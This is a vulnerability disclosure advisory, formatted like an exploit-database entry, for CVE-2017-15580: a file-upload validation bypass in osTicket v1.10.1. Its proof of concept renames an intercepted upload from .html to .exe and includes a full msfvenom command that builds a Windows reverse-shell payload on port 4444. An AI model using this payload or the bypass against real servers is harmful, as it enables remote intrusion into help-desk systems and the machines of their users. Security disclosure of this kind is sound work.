Reference: https://becomepentester.blogspot.ae/2017/10/osTicket-File-Upload- Restrictions-Bypassed-CVE-2017-15580.html *# Exploit Title: File Upload Restrictions Bypassed* *# Date: 18 October, 2017* *# Exploit Author: Rajwinder Singh* *# Vendor Homepage: http://osticket.com/ * *# Software Link: http://osticket.com/download/go?dl=osTicket-v1.10.1.zip * *# Version: v1.10.1* *# CVE : 2017-15580* Vulnerability Details: ====================== osTicket application provides a functionality to upload 'html' files with associated formats. However, application does not properly validate the uploaded fileas contents and thus accepts any type of files. *Proof-of-Concept:* ==================== Uploaded shell to get reverse shell of end user for the demo purpose. 1. Created a valid '.html' file to bypass client-side validations. test

test page

2. Created a reverse shell with '.exe' file extension using msfvenom. msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST= LPORT=4444 -b "\x00" -e -f exe -o reverse.exe https://www.offensive-security.com/metasploit-unleashed/binary-payloads/ 3. As shown in the below screenshot, intercepted the request and changed file extension '.html' to '.exe' and received a valid response from server along with uploaded malicious file. *Response:* 4. As shown in the below screenshot, successfully uploaded malicious file on the server. Ready to get reverse shell. *Affected Component:* ==================== *Parameter:* tickets.php?id=#reply *Disclosure Timeline:* ===================== Vendor Confirmation: 11 October, 2017 Mitre Notification: 17 October, 2017 Public Disclosure: 18 October, 2017 *Exploitation Technique:* ======================= Remote *Severity Level:* ================ High *Description:* ===================================================== Request Method(s): [+] POST Vulnerable Product: [+] osTicket - v1.10.1 Vulnerable Parameter(s): [+] tickets.php?id=#reply Thank you